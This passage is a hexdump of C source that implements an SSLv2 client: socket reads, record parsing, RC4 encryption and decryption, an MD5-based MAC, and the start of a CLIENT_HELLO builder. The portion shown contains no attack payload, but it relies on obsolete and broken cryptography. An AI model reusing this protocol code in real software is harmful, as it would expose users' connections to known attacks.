|000021e0| 52 3b 0a 7d 0a 0a 0a 2f | 2a 20 72 65 61 64 20 6c |R;.}.../|* read l|
|000021f0| 65 6e 20 62 79 74 65 73 | 20 66 72 6f 6d 20 61 20 |en bytes| from a |
|00002200| 73 6f 63 6b 65 74 2e 20 | 52 65 74 75 72 6e 73 20 |socket. |Returns |
|00002210| 30 20 77 68 65 6e 20 74 | 68 65 20 63 6f 6e 6e 65 |0 when t|he conne|
|00002220| 63 74 69 6f 6e 20 69 73 | 20 63 6c 6f 73 65 64 20 |ction is| closed |
|00002230| 2a 2f 0a 69 6e 74 20 72 | 65 61 64 5f 64 61 74 61 |*/.int r|ead_data|
|00002240| 28 69 6e 74 20 73 6f 63 | 6b 2c 20 75 6e 73 69 67 |(int soc|k, unsig|
|00002250| 6e 65 64 20 63 68 61 72 | 2a 20 62 75 66 2c 20 69 |ned char|* buf, i|
|00002260| 6e 74 20 6c 65 6e 29 0a | 7b 0a 09 69 6e 74 20 6c |nt len).|{..int l|
|00002270| 3b 0a 09 69 6e 74 20 74 | 6f 5f 72 65 61 64 20 3d |;..int t|o_read =|
|00002280| 20 6c 65 6e 3b 0a 0a 09 | 64 6f 20 7b 0a 09 09 69 | len;...|do {...i|
|00002290| 66 20 28 28 6c 20 3d 20 | 72 65 61 64 28 73 6f 63 |f ((l = |read(soc|
|000022a0| 6b 2c 20 62 75 66 2c 20 | 74 6f 5f 72 65 61 64 29 |k, buf, |to_read)|
|000022b0| 29 20 3c 20 30 29 20 7b | 0a 09 09 09 70 72 69 6e |) < 0) {|....prin|
|000022c0| 74 66 28 22 45 72 72 6f | 72 20 69 6e 20 72 65 61 |tf("Erro|r in rea|
|000022d0| 64 3a 20 25 73 5c 6e 22 | 2c 20 73 74 72 65 72 72 |d: %s\n"|, strerr|
|000022e0| 6f 72 28 65 72 72 6e 6f | 29 29 3b 0a 09 09 09 65 |or(errno|));....e|
|000022f0| 78 69 74 28 31 29 3b 0a | 09 09 7d 0a 09 09 65 6c |xit(1);.|..}...el|
|00002300| 73 65 20 69 66 20 28 21 | 6c 29 20 7b 0a 09 09 09 |se if (!|l) {....|
|00002310| 72 65 74 75 72 6e 20 30 | 3b 0a 09 09 7d 0a 09 09 |return 0|;...}...|
|00002320| 74 6f 5f 72 65 61 64 20 | 2d 3d 20 6c 3b 0a 09 7d |to_read |-= l;..}|
|00002330| 20 77 68 69 6c 65 20 28 | 74 6f 5f 72 65 61 64 20 | while (|to_read |
|00002340| 3e 20 30 29 3b 0a 0a 09 | 72 65 74 75 72 6e 20 6c |> 0);...|return l|
|00002350| 65 6e 3b 0a 7d 0a 0a 2f | 2a 20 72 65 61 64 73 20 |en;.}../|* reads |
|00002360| 61 6e 20 53 53 4c 20 70 | 61 63 6b 65 74 20 61 6e |an SSL p|acket an|
|00002370| 64 20 64 65 63 72 79 70 | 74 73 20 69 74 20 69 66 |d decryp|ts it if|
|00002380| 20 6e 65 63 65 73 73 65 | 72 79 20 2a 2f 0a 69 6e | necesse|ry */.in|
|00002390| 74 20 72 65 61 64 5f 73 | 73 6c 5f 70 61 63 6b 65 |t read_s|sl_packe|
|000023a0| 74 28 73 74 72 75 63 74 | 20 73 73 6c 5f 63 6f 6e |t(struct| ssl_con|
|000023b0| 6e 2a 20 73 73 6c 2c 20 | 75 6e 73 69 67 6e 65 64 |n* ssl, |unsigned|
|000023c0| 20 63 68 61 72 2a 20 62 | 75 66 2c 20 69 6e 74 20 | char* b|uf, int |
|000023d0| 62 75 66 5f 73 69 7a 65 | 29 0a 7b 0a 09 69 6e 74 |buf_size|).{..int|
|000023e0| 20 72 65 63 5f 6c 65 6e | 2c 20 70 61 64 64 69 6e | rec_len|, paddin|
|000023f0| 67 3b 0a 0a 09 69 66 20 | 28 21 72 65 61 64 5f 64 |g;...if |(!read_d|
|00002400| 61 74 61 28 73 73 6c 2d | 3e 73 6f 63 6b 2c 20 62 |ata(ssl-|>sock, b|
|00002410| 75 66 2c 20 32 29 29 20 | 7b 0a 09 09 73 73 6c 2d |uf, 2)) |{...ssl-|
|00002420| 3e 65 72 72 20 3d 20 53 | 53 4c 5f 43 4f 4e 4e 45 |>err = S|SL_CONNE|
|00002430| 43 54 49 4f 4e 5f 45 52 | 52 4f 52 3b 0a 09 09 73 |CTION_ER|ROR;...s|
|00002440| 70 72 69 6e 74 66 28 73 | 73 6c 2d 3e 65 72 72 5f |printf(s|sl->err_|
|00002450| 62 75 66 2c 20 22 43 6f | 6e 6e 65 63 74 69 6f 6e |buf, "Co|nnection|
|00002460| 20 75 6e 65 78 70 65 63 | 74 65 64 6c 79 20 63 6c | unexpec|tedly cl|
|00002470| 6f 73 65 64 22 29 3b 0a | 09 09 72 65 74 75 72 6e |osed");.|..return|
|00002480| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 09 | SSL_ERR|OR;..}..|
|00002490| 0a 09 69 66 20 28 28 62 | 75 66 5b 30 5d 20 26 20 |..if ((b|uf[0] & |
|000024a0| 30 78 38 30 29 20 3d 3d | 20 30 29 20 7b 0a 09 09 |0x80) ==| 0) {...|
|000024b0| 2f 2a 20 74 68 72 65 65 | 20 62 79 74 65 20 68 65 |/* three| byte he|
|000024c0| 61 64 65 72 20 2a 2f 0a | 09 09 72 65 63 5f 6c 65 |ader */.|..rec_le|
|000024d0| 6e 20 3d 20 28 28 62 75 | 66 5b 30 5d 20 26 20 30 |n = ((bu|f[0] & 0|
|000024e0| 78 33 66 29 20 3c 3c 20 | 38 29 20 7c 20 62 75 66 |x3f) << |8) | buf|
|000024f0| 5b 31 5d 3b 0a 09 09 72 | 65 61 64 5f 64 61 74 61 |[1];...r|ead_data|
|00002500| 28 73 73 6c 2d 3e 73 6f | 63 6b 2c 20 26 62 75 66 |(ssl->so|ck, &buf|
|00002510| 5b 32 5d 2c 20 31 29 3b | 0a 09 09 70 61 64 64 69 |[2], 1);|...paddi|
|00002520| 6e 67 20 3d 20 28 69 6e | 74 29 62 75 66 5b 32 5d |ng = (in|t)buf[2]|
|00002530| 3b 0a 09 7d 0a 09 65 6c | 73 65 20 7b 0a 09 09 2f |;..}..el|se {.../|
|00002540| 2a 20 74 77 6f 20 62 79 | 74 65 20 68 65 61 64 65 |* two by|te heade|
|00002550| 72 20 2a 2f 0a 09 09 72 | 65 63 5f 6c 65 6e 20 3d |r */...r|ec_len =|
|00002560| 20 28 28 62 75 66 5b 30 | 5d 20 26 20 30 78 37 66 | ((buf[0|] & 0x7f|
|00002570| 29 20 3c 3c 20 38 29 20 | 7c 20 62 75 66 5b 31 5d |) << 8) || buf[1]|
|00002580| 3b 0a 09 09 70 61 64 64 | 69 6e 67 20 3d 20 30 3b |;...padd|ing = 0;|
|00002590| 0a 09 7d 0a 09 0a 09 69 | 66 20 28 28 72 65 63 5f |..}....i|f ((rec_|
|000025a0| 6c 65 6e 20 3d 3d 20 30 | 29 20 7c 7c 20 28 72 65 |len == 0|) || (re|
|000025b0| 63 5f 6c 65 6e 20 3e 20 | 62 75 66 5f 73 69 7a 65 |c_len > |buf_size|
|000025c0| 29 29 20 7b 0a 09 09 73 | 73 6c 2d 3e 65 72 72 20 |)) {...s|sl->err |
|000025d0| 3d 20 53 53 4c 5f 50 52 | 4f 54 4f 43 4f 4c 5f 45 |= SSL_PR|OTOCOL_E|
|000025e0| 52 52 4f 52 3b 0a 09 09 | 73 70 72 69 6e 74 66 28 |RROR;...|sprintf(|
|000025f0| 73 73 6c 2d 3e 65 72 72 | 5f 62 75 66 2c 20 22 72 |ssl->err|_buf, "r|
|00002600| 65 61 64 5f 73 73 6c 5f | 70 61 63 6b 65 74 3a 20 |ead_ssl_|packet: |
|00002610| 52 65 63 6f 72 64 20 6c | 65 6e 67 74 68 20 6f 75 |Record l|ength ou|
|00002620| 74 20 6f 66 20 72 61 6e | 67 65 20 28 72 65 63 5f |t of ran|ge (rec_|
|00002630| 6c 65 6e 20 3d 20 25 64 | 29 22 2c 20 72 65 63 5f |len = %d|)", rec_|
|00002640| 6c 65 6e 29 3b 0a 09 09 | 72 65 74 75 72 6e 20 53 |len);...|return S|
|00002650| 53 4c 5f 45 52 52 4f 52 | 3b 0a 09 7d 0a 0a 09 69 |SL_ERROR|;..}...i|
|00002660| 66 20 28 21 72 65 61 64 | 5f 64 61 74 61 28 73 73 |f (!read|_data(ss|
|00002670| 6c 2d 3e 73 6f 63 6b 2c | 20 62 75 66 2c 20 72 65 |l->sock,| buf, re|
|00002680| 63 5f 6c 65 6e 29 29 20 | 7b 0a 09 09 73 73 6c 2d |c_len)) |{...ssl-|
|00002690| 3e 65 72 72 20 3d 20 53 | 53 4c 5f 43 4f 4e 4e 45 |>err = S|SL_CONNE|
|000026a0| 43 54 49 4f 4e 5f 45 52 | 52 4f 52 3b 0a 09 09 73 |CTION_ER|ROR;...s|
|000026b0| 70 72 69 6e 74 66 28 73 | 73 6c 2d 3e 65 72 72 5f |printf(s|sl->err_|
|000026c0| 62 75 66 2c 20 22 43 6f | 6e 6e 65 63 74 69 6f 6e |buf, "Co|nnection|
|000026d0| 20 75 6e 65 78 70 65 63 | 74 65 64 6c 79 20 63 6c | unexpec|tedly cl|
|000026e0| 6f 73 65 64 22 29 3b 0a | 09 09 72 65 74 75 72 6e |osed");.|..return|
|000026f0| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 0a | SSL_ERR|OR;..}..|
|00002700| 09 69 66 20 28 73 73 6c | 2d 3e 65 6e 63 72 79 70 |.if (ssl|->encryp|
|00002710| 74 65 64 29 20 7b 0a 09 | 09 69 66 20 28 4d 44 35 |ted) {..|.if (MD5|
|00002720| 5f 44 49 47 45 53 54 5f | 4c 45 4e 47 54 48 20 2b |_DIGEST_|LENGTH +|
|00002730| 20 70 61 64 64 69 6e 67 | 20 3e 3d 20 72 65 63 5f | padding| >= rec_|
|00002740| 6c 65 6e 29 20 7b 0a 09 | 09 09 69 66 20 28 28 62 |len) {..|..if ((b|
|00002750| 75 66 5b 30 5d 20 3d 3d | 20 53 53 4c 32 5f 4d 54 |uf[0] ==| SSL2_MT|
|00002760| 5f 45 52 52 4f 52 29 20 | 26 26 20 28 72 65 63 5f |_ERROR) |&& (rec_|
|00002770| 6c 65 6e 20 3d 3d 20 33 | 29 29 20 7b 0a 09 09 09 |len == 3|)) {....|
|00002780| 09 2f 2a 20 74 68 65 20 | 73 65 72 76 65 72 20 64 |./* the |server d|
|00002790| 69 64 6e 27 74 20 73 77 | 69 74 63 68 20 74 6f 20 |idn't sw|itch to |
|000027a0| 65 6e 63 72 79 70 74 69 | 6f 6e 20 64 75 65 20 74 |encrypti|on due t|
|000027b0| 6f 20 61 6e 20 65 72 72 | 6f 72 20 2a 2f 0a 09 09 |o an err|or */...|
|000027c0| 09 09 73 73 6c 5f 65 72 | 72 6f 72 28 73 73 6c 2c |..ssl_er|ror(ssl,|
|000027d0| 20 6e 74 6f 68 73 28 2a | 28 75 69 6e 74 31 36 5f | ntohs(*|(uint16_|
|000027e0| 74 2a 29 26 62 75 66 5b | 31 5d 29 29 3b 0a 09 09 |t*)&buf[|1]));...|
|000027f0| 09 09 72 65 74 75 72 6e | 20 53 53 4c 5f 45 52 52 |..return| SSL_ERR|
|00002800| 4f 52 3b 0a 09 09 09 7d | 0a 09 09 09 65 6c 73 65 |OR;....}|....else|
|00002810| 20 7b 0a 09 09 09 09 73 | 73 6c 2d 3e 65 72 72 20 | {.....s|sl->err |
|00002820| 3d 20 53 53 4c 5f 50 52 | 4f 54 4f 43 4f 4c 5f 45 |= SSL_PR|OTOCOL_E|
|00002830| 52 52 4f 52 3b 0a 09 09 | 09 09 73 70 72 69 6e 74 |RROR;...|..sprint|
|00002840| 66 28 73 73 6c 2d 3e 65 | 72 72 5f 62 75 66 2c 20 |f(ssl->e|rr_buf, |
|00002850| 22 72 65 61 64 5f 73 73 | 6c 5f 70 61 63 6b 65 74 |"read_ss|l_packet|
|00002860| 3a 20 45 6e 63 72 79 70 | 74 65 64 20 6d 65 73 73 |: Encryp|ted mess|
|00002870| 61 67 65 20 69 73 20 74 | 6f 6f 20 73 68 6f 72 74 |age is t|oo short|
|00002880| 20 28 72 65 63 5f 6c 65 | 6e 20 3d 20 25 64 29 22 | (rec_le|n = %d)"|
|00002890| 2c 20 72 65 63 5f 6c 65 | 6e 29 3b 0a 09 09 09 09 |, rec_le|n);.....|
|000028a0| 72 65 74 75 72 6e 20 53 | 53 4c 5f 45 52 52 4f 52 |return S|SL_ERROR|
|000028b0| 3b 0a 09 09 09 7d 0a 09 | 09 7d 0a 0a 09 09 2f 2a |;....}..|.}..../*|
|000028c0| 20 64 65 63 72 79 70 74 | 20 74 68 65 20 65 6e 63 | decrypt| the enc|
|000028d0| 72 79 70 74 65 64 20 70 | 61 72 74 20 6f 66 20 74 |rypted p|art of t|
|000028e0| 68 65 20 70 61 63 6b 65 | 74 20 2a 2f 0a 09 09 52 |he packe|t */...R|
|000028f0| 43 34 28 73 73 6c 2d 3e | 72 63 34 5f 72 65 61 64 |C4(ssl->|rc4_read|
|00002900| 5f 6b 65 79 2c 20 72 65 | 63 5f 6c 65 6e 2c 20 62 |_key, re|c_len, b|
|00002910| 75 66 2c 20 62 75 66 29 | 3b 0a 09 09 0a 09 09 2f |uf, buf)|;....../|
|00002920| 2a 20 6d 6f 76 65 20 74 | 68 65 20 64 65 63 72 79 |* move t|he decry|
|00002930| 70 74 65 64 20 6d 65 73 | 73 61 67 65 20 69 6e 20 |pted mes|sage in |
|00002940| 74 68 65 20 62 65 67 69 | 6e 6e 69 6e 67 20 6f 66 |the begi|nning of|
|00002950| 20 74 68 65 20 62 75 66 | 66 65 72 20 2a 2f 0a 09 | the buf|fer */..|
|00002960| 09 72 65 63 5f 6c 65 6e | 20 3d 20 72 65 63 5f 6c |.rec_len| = rec_l|
|00002970| 65 6e 20 2d 20 4d 44 35 | 5f 44 49 47 45 53 54 5f |en - MD5|_DIGEST_|
|00002980| 4c 45 4e 47 54 48 20 2d | 20 70 61 64 64 69 6e 67 |LENGTH -| padding|
|00002990| 3b 0a 09 09 6d 65 6d 6d | 6f 76 65 28 62 75 66 2c |;...memm|ove(buf,|
|000029a0| 20 62 75 66 20 2b 20 4d | 44 35 5f 44 49 47 45 53 | buf + M|D5_DIGES|
|000029b0| 54 5f 4c 45 4e 47 54 48 | 2c 20 72 65 63 5f 6c 65 |T_LENGTH|, rec_le|
|000029c0| 6e 29 3b 0a 09 7d 0a 09 | 0a 09 69 66 20 28 62 75 |n);..}..|..if (bu|
|000029d0| 66 5b 30 5d 20 3d 3d 20 | 53 53 4c 32 5f 4d 54 5f |f[0] == |SSL2_MT_|
|000029e0| 45 52 52 4f 52 29 20 7b | 0a 09 09 69 66 20 28 72 |ERROR) {|...if (r|
|000029f0| 65 63 5f 6c 65 6e 20 21 | 3d 20 33 29 20 7b 0a 09 |ec_len !|= 3) {..|
|00002a00| 09 09 73 73 6c 2d 3e 65 | 72 72 20 3d 20 53 53 4c |..ssl->e|rr = SSL|
|00002a10| 5f 50 52 4f 54 4f 43 4f | 4c 5f 45 52 52 4f 52 3b |_PROTOCO|L_ERROR;|
|00002a20| 0a 09 09 09 73 70 72 69 | 6e 74 66 28 73 73 6c 2d |....spri|ntf(ssl-|
|00002a30| 3e 65 72 72 5f 62 75 66 | 2c 20 22 72 65 61 64 5f |>err_buf|, "read_|
|00002a40| 73 73 6c 5f 70 61 63 6b | 65 74 3a 20 4d 61 6c 66 |ssl_pack|et: Malf|
|00002a50| 6f 72 6d 65 64 20 73 65 | 72 76 65 72 20 65 72 72 |ormed se|rver err|
|00002a60| 6f 72 20 6d 65 73 73 61 | 67 65 22 29 3b 0a 09 09 |or messa|ge");...|
|00002a70| 09 72 65 74 75 72 6e 20 | 53 53 4c 5f 45 52 52 4f |.return |SSL_ERRO|
|00002a80| 52 3b 0a 09 09 7d 0a 09 | 09 65 6c 73 65 20 7b 0a |R;...}..|.else {.|
|00002a90| 09 09 09 73 73 6c 5f 65 | 72 72 6f 72 28 73 73 6c |...ssl_e|rror(ssl|
|00002aa0| 2c 20 6e 74 6f 68 73 28 | 2a 28 75 69 6e 74 31 36 |, ntohs(|*(uint16|
|00002ab0| 5f 74 2a 29 26 62 75 66 | 5b 31 5d 29 29 3b 0a 09 |_t*)&buf|[1]));..|
|00002ac0| 09 09 72 65 74 75 72 6e | 20 53 53 4c 5f 45 52 52 |..return| SSL_ERR|
|00002ad0| 4f 52 3b 0a 09 09 7d 0a | 09 7d 0a 09 0a 09 72 65 |OR;...}.|.}....re|
|00002ae0| 74 75 72 6e 20 72 65 63 | 5f 6c 65 6e 3b 0a 7d 0a |turn rec|_len;.}.|
|00002af0| 0a 2f 2a 20 73 65 6e 64 | 20 61 6e 20 73 73 6c 20 |./* send| an ssl |
|00002b00| 70 61 63 6b 65 74 2c 20 | 65 6e 63 72 79 70 74 69 |packet, |encrypti|
|00002b10| 6e 67 20 69 74 20 69 66 | 20 73 73 6c 2d 3e 65 6e |ng it if| ssl->en|
|00002b20| 63 72 79 70 74 65 64 20 | 69 73 20 73 65 74 20 2a |crypted |is set *|
|00002b30| 2f 0a 76 6f 69 64 20 73 | 65 6e 64 5f 73 73 6c 5f |/.void s|end_ssl_|
|00002b40| 70 61 63 6b 65 74 28 73 | 74 72 75 63 74 20 73 73 |packet(s|truct ss|
|00002b50| 6c 5f 63 6f 6e 6e 2a 20 | 73 73 6c 2c 20 75 6e 73 |l_conn* |ssl, uns|
|00002b60| 69 67 6e 65 64 20 63 68 | 61 72 2a 20 72 65 63 2c |igned ch|ar* rec,|
|00002b70| 20 69 6e 74 20 72 65 63 | 5f 6c 65 6e 29 0a 7b 0a | int rec|_len).{.|
|00002b80| 09 75 6e 73 69 67 6e 65 | 64 20 63 68 61 72 20 62 |.unsigne|d char b|
|00002b90| 75 66 5b 42 55 46 53 49 | 5a 45 5d 3b 0a 09 75 6e |uf[BUFSI|ZE];..un|
|00002ba0| 73 69 67 6e 65 64 20 63 | 68 61 72 2a 20 70 3b 0a |signed c|har* p;.|
|00002bb0| 09 69 6e 74 20 74 6f 74 | 5f 6c 65 6e 3b 0a 09 4d |.int tot|_len;..M|
|00002bc0| 44 35 5f 43 54 58 20 63 | 74 78 3b 0a 09 69 6e 74 |D5_CTX c|tx;..int|
|00002bd0| 20 73 65 71 3b 0a 09 0a | 0a 09 69 66 20 28 73 73 | seq;...|..if (ss|
|00002be0| 6c 2d 3e 65 6e 63 72 79 | 70 74 65 64 29 0a 09 09 |l->encry|pted)...|
|00002bf0| 74 6f 74 5f 6c 65 6e 20 | 3d 20 72 65 63 5f 6c 65 |tot_len |= rec_le|
|00002c00| 6e 20 2b 20 4d 44 35 5f | 44 49 47 45 53 54 5f 4c |n + MD5_|DIGEST_L|
|00002c10| 45 4e 47 54 48 3b 09 2f | 2a 20 52 43 34 20 6e 65 |ENGTH;./|* RC4 ne|
|00002c20| 65 64 73 20 6e 6f 20 70 | 61 64 64 69 6e 67 20 2a |eds no p|adding *|
|00002c30| 2f 0a 09 65 6c 73 65 0a | 09 09 74 6f 74 5f 6c 65 |/..else.|..tot_le|
|00002c40| 6e 20 3d 20 72 65 63 5f | 6c 65 6e 3b 0a 0a 09 69 |n = rec_|len;...i|
|00002c50| 66 20 28 32 20 2b 20 74 | 6f 74 5f 6c 65 6e 20 3e |f (2 + t|ot_len >|
|00002c60| 20 42 55 46 53 49 5a 45 | 29 20 7b 0a 09 09 70 72 | BUFSIZE|) {...pr|
|00002c70| 69 6e 74 66 28 22 73 65 | 6e 64 5f 73 73 6c 5f 70 |intf("se|nd_ssl_p|
|00002c80| 61 63 6b 65 74 3a 20 52 | 65 63 6f 72 64 20 6c 65 |acket: R|ecord le|
|00002c90| 6e 67 74 68 20 6f 75 74 | 20 6f 66 20 72 61 6e 67 |ngth out| of rang|
|00002ca0| 65 20 28 72 65 63 5f 6c | 65 6e 20 3d 20 25 64 29 |e (rec_l|en = %d)|
|00002cb0| 5c 6e 22 2c 20 72 65 63 | 5f 6c 65 6e 29 3b 0a 09 |\n", rec|_len);..|
|00002cc0| 09 65 78 69 74 28 31 29 | 3b 0a 09 7d 0a 09 0a 09 |.exit(1)|;..}....|
|00002cd0| 70 20 3d 20 62 75 66 3b | 0a 09 73 32 6e 28 74 6f |p = buf;|..s2n(to|
|00002ce0| 74 5f 6c 65 6e 2c 20 70 | 29 3b 09 0a 0a 09 62 75 |t_len, p|);....bu|
|00002cf0| 66 5b 30 5d 20 3d 20 62 | 75 66 5b 30 5d 20 7c 20 |f[0] = b|uf[0] | |
|00002d00| 30 78 38 30 3b 09 2f 2a | 20 74 77 6f 20 62 79 74 |0x80;./*| two byt|
|00002d10| 65 20 68 65 61 64 65 72 | 20 2a 2f 0a 0a 09 69 66 |e header| */...if|
|00002d20| 20 28 73 73 6c 2d 3e 65 | 6e 63 72 79 70 74 65 64 | (ssl->e|ncrypted|
|00002d30| 29 20 7b 0a 09 09 2f 2a | 20 63 61 6c 63 75 6c 61 |) {.../*| calcula|
|00002d40| 74 65 20 74 68 65 20 4d | 41 43 20 2a 2f 0a 09 09 |te the M|AC */...|
|00002d50| 73 65 71 20 3d 20 6e 74 | 6f 68 6c 28 73 73 6c 2d |seq = nt|ohl(ssl-|
|00002d60| 3e 77 72 69 74 65 5f 73 | 65 71 29 3b 0a 0a 09 09 |>write_s|eq);....|
|00002d70| 4d 44 35 5f 49 6e 69 74 | 28 26 63 74 78 29 3b 0a |MD5_Init|(&ctx);.|
|00002d80| 09 09 4d 44 35 5f 55 70 | 64 61 74 65 28 26 63 74 |..MD5_Up|date(&ct|
|00002d90| 78 2c 20 73 73 6c 2d 3e | 77 72 69 74 65 5f 6b 65 |x, ssl->|write_ke|
|00002da0| 79 2c 20 52 43 34 5f 4b | 45 59 5f 4c 45 4e 47 54 |y, RC4_K|EY_LENGT|
|00002db0| 48 29 3b 0a 09 09 4d 44 | 35 5f 55 70 64 61 74 65 |H);...MD|5_Update|
|00002dc0| 28 26 63 74 78 2c 20 72 | 65 63 2c 20 72 65 63 5f |(&ctx, r|ec, rec_|
|00002dd0| 6c 65 6e 29 3b 0a 09 09 | 4d 44 35 5f 55 70 64 61 |len);...|MD5_Upda|
|00002de0| 74 65 28 26 63 74 78 2c | 20 26 73 65 71 2c 20 34 |te(&ctx,| &seq, 4|
|00002df0| 29 3b 0a 09 09 4d 44 35 | 5f 46 69 6e 61 6c 28 70 |);...MD5|_Final(p|
|00002e00| 2c 20 26 63 74 78 29 3b | 0a 09 0a 09 09 70 2b 3d |, &ctx);|.....p+=|
|00002e10| 4d 44 35 5f 44 49 47 45 | 53 54 5f 4c 45 4e 47 54 |MD5_DIGE|ST_LENGT|
|00002e20| 48 3b 0a 09 09 0a 09 09 | 6d 65 6d 63 70 79 28 70 |H;......|memcpy(p|
|00002e30| 2c 20 72 65 63 2c 20 72 | 65 63 5f 6c 65 6e 29 3b |, rec, r|ec_len);|
|00002e40| 0a 09 09 0a 09 09 2f 2a | 20 65 6e 63 72 79 70 74 |....../*| encrypt|
|00002e50| 20 74 68 65 20 70 61 79 | 6c 6f 61 64 20 2a 2f 0a | the pay|load */.|
|00002e60| 09 09 52 43 34 28 73 73 | 6c 2d 3e 72 63 34 5f 77 |..RC4(ss|l->rc4_w|
|00002e70| 72 69 74 65 5f 6b 65 79 | 2c 20 74 6f 74 5f 6c 65 |rite_key|, tot_le|
|00002e80| 6e 2c 20 26 62 75 66 5b | 32 5d 2c 20 26 62 75 66 |n, &buf[|2], &buf|
|00002e90| 5b 32 5d 29 3b 0a 0a 09 | 7d 0a 09 65 6c 73 65 20 |[2]);...|}..else |
|00002ea0| 7b 0a 09 09 6d 65 6d 63 | 70 79 28 70 2c 20 72 65 |{...memc|py(p, re|
|00002eb0| 63 2c 20 72 65 63 5f 6c | 65 6e 29 3b 0a 09 7d 0a |c, rec_l|en);..}.|
|00002ec0| 0a 09 69 66 20 28 73 65 | 6e 64 28 73 73 6c 2d 3e |..if (se|nd(ssl->|
|00002ed0| 73 6f 63 6b 2c 20 62 75 | 66 2c 20 32 20 2b 20 74 |sock, bu|f, 2 + t|
|00002ee0| 6f 74 5f 6c 65 6e 2c 20 | 30 29 20 3d 3d 20 2d 31 |ot_len, |0) == -1|
|00002ef0| 29 20 7b 0a 09 09 70 72 | 69 6e 74 66 28 22 45 72 |) {...pr|intf("Er|
|00002f00| 72 6f 72 20 69 6e 20 73 | 65 6e 64 3a 20 25 73 5c |ror in s|end: %s\|
|00002f10| 6e 22 2c 20 73 74 72 65 | 72 72 6f 72 28 65 72 72 |n", stre|rror(err|
|00002f20| 6e 6f 29 29 3b 0a 09 09 | 65 78 69 74 28 31 29 3b |no));...|exit(1);|
|00002f30| 0a 09 7d 0a 0a 09 2f 2a | 20 74 68 65 20 73 65 71 |..}.../*| the seq|
|00002f40| 75 65 6e 63 65 20 6e 75 | 6d 62 65 72 20 69 73 20 |uence nu|mber is |
|00002f50| 69 6e 63 72 65 6d 65 6e | 74 65 64 20 62 79 20 62 |incremen|ted by b|
|00002f60| 6f 74 68 20 65 6e 63 72 | 79 70 74 65 64 20 61 6e |oth encr|ypted an|
|00002f70| 64 20 70 6c 61 69 6e 74 | 65 78 74 20 70 61 63 6b |d plaint|ext pack|
|00002f80| 65 74 73 20 2a 2f 0a 09 | 73 73 6c 2d 3e 77 72 69 |ets */..|ssl->wri|
|00002f90| 74 65 5f 73 65 71 2b 2b | 3b 0a 7d 0a 0a 2f 2a 20 |te_seq++|;.}../* |
|00002fa0| 53 65 6e 64 20 61 20 43 | 4c 49 45 4e 54 5f 48 45 |Send a C|LIENT_HE|
|00002fb0| 4c 4c 4f 20 6d 65 73 73 | 61 67 65 20 74 6f 20 74 |LLO mess|age to t|
|00002fc0| 68 65 20 73 65 72 76 65 | 72 20 2a 2f 0a 69 6e 74 |he serve|r */.int|
|00002fd0| 20 73 65 6e 64 5f 63 6c | 69 65 6e 74 5f 68 65 6c | send_cl|ient_hel|
|00002fe0| 6c 6f 28 73 74 72 75 63 | 74 20 73 73 6c 5f 63 6f |lo(struc|t ssl_co|
|00002ff0| 6e 6e 20 2a 73 73 6c 29 | 0a 7b 0a 09 69 6e 74 20 |nn *ssl)|.{..int |
|00003000| 69 3b 0a 09 75 6e 73 69 | 67 6e 65 64 20 63 68 61 |i;..unsi|gned cha|
|00003010| 72 20 62 75 66 5b 42 55 | 46 53 49 5a 45 5d 20 3d |r buf[BU|FSIZE] =|
|00003020| 0a 09 09 22 5c 78 30 31 | 22 09 09 09 2f 2a 20 63 |..."\x01|".../* c|
|00003030| 6c 69 65 6e 74 20 68 65 | 6c 6c 6f 20 6d 73 67 20 |lient he|llo msg |
|00003040| 2a 2f 0a 09 0a 09 09 22 | 5c 78 30 30 5c 78 30 32 |*/....."|\x00\x02|
|00003050| 22 09 09 2f 2a 20 63 6c | 69 65 6e 74 20 76 65 72 |"../* cl|ient ver|
|00003060| 73 69 6f 6e 20 2a 2f 0a | 09 09 22 5c 78 30 30 5c |sion */.|.."\x00\|
|00003070| 78 31 38 22 09 09 2f 2a | 20 63 69 70 68 65 72 20 |x18"../*| cipher |
|00003080| 73 70 65 63 73 20 6c 65 | 6e 67 74 68 20 2a 2f 0a |specs le|ngth */.|
|00003090| 09 09 22 5c 78 30 30 5c | 78 30 30 22 09 09 2f 2a |.."\x00\|x00"../*|
|000030a0| 20 73 65 73 73 69 6f 6e | 20 69 64 20 6c 65 6e 67 | session| id leng|
|000030b0| 74 68 20 2a 2f 0a 09 09 | 22 5c 78 30 30 5c 78 31 |th */...|"\x00\x1|
|000030c0| 30 22 09 09 2f 2a 20 63 | 68 61 6c 6c 65 6e 67 65 |0"../* c|hallenge|
|000030d0| 20 6c 65 6e 67 74 68 20 | 2a 2f 0a 0a 09 09 22 5c | length |*/...."\|
|000030e0| 78 30 37 5c 78 30 30 5c | 78 63 30 5c 78 30 35 5c |x07\x00\|xc0\x05\|
|000030f0| 78 30 30 5c 78 38 30 5c | 78 30 33 5c 78 30 30 22 |x00\x80\|x03\x00"|
|00003100| 09 2f 2a 20 63 69 70 68 | 65 72 20 73 70 65 63 73 |./* ciph|er specs|
|00003110| 20 64 61 74 61 20 2a 2f | 0a 09 09 22 5c 78 38 30 | data */|..."\x80|
|00003120| 5c 78 30 31 5c 78 30 30 | 5c 78 38 30 5c 78 30 38 |\x01\x00|\x80\x08|
|00003130| 5c 78 30 30 5c 78 38 30 | 5c 78 30 36 22 0a 09 09 |\x00\x80|\x06"...|
|00003140| 22 5c 78 30 30 5c 78 34 | 30 5c 78 30 34 5c 78 30 |"\x00\x4|0\x04\x0|
|00003150| 30 5c 78 38 30 5c 78 30 | 32 5c 78 30 30 5c 78 38 |0\x80\x0|2\x00\x8|
|00003160| 30 22 0a 09 0a 09 09 22 | 22 3b 09 09 09 09 09 09 |0"....."|";......|
|00003170| 09 09 09 2f 2a 20 73 65 | 73 73 69 6f 6e 20 69 64 |.../* se|ssion id|
|00003180| 20 64 61 74 61 20 2a 2f | 0a 0a 09 69 66 20 28 73 | data */|...if (s|
|00003190| 73 6c 2d 3e 65 72 72 29 | 20 72 65 74 75 72 6e 20 |sl->err)| return |
|000031a0| 53 53 4c 5f 45 52 52 4f | 52 3b 0a 0a 09 69 66 20 |SSL_ERRO|R;...if |
|000031b0| 28 73 73 6c 2d 3e 76 65 | 72 62 6f 73 65 29 20 70 |(ssl->ve|rbose) p|
|000031c0| 72 69 6e 74 66 28 22 20 | 2d 3e 20 73 65 6e 64 5f |rintf(" |-> send_|
|000031d0| 63 6c 69 65 6e 74 5f 68 | 65 6c 6c 6f 5c 6e 22 29 |client_h|ello\n")|
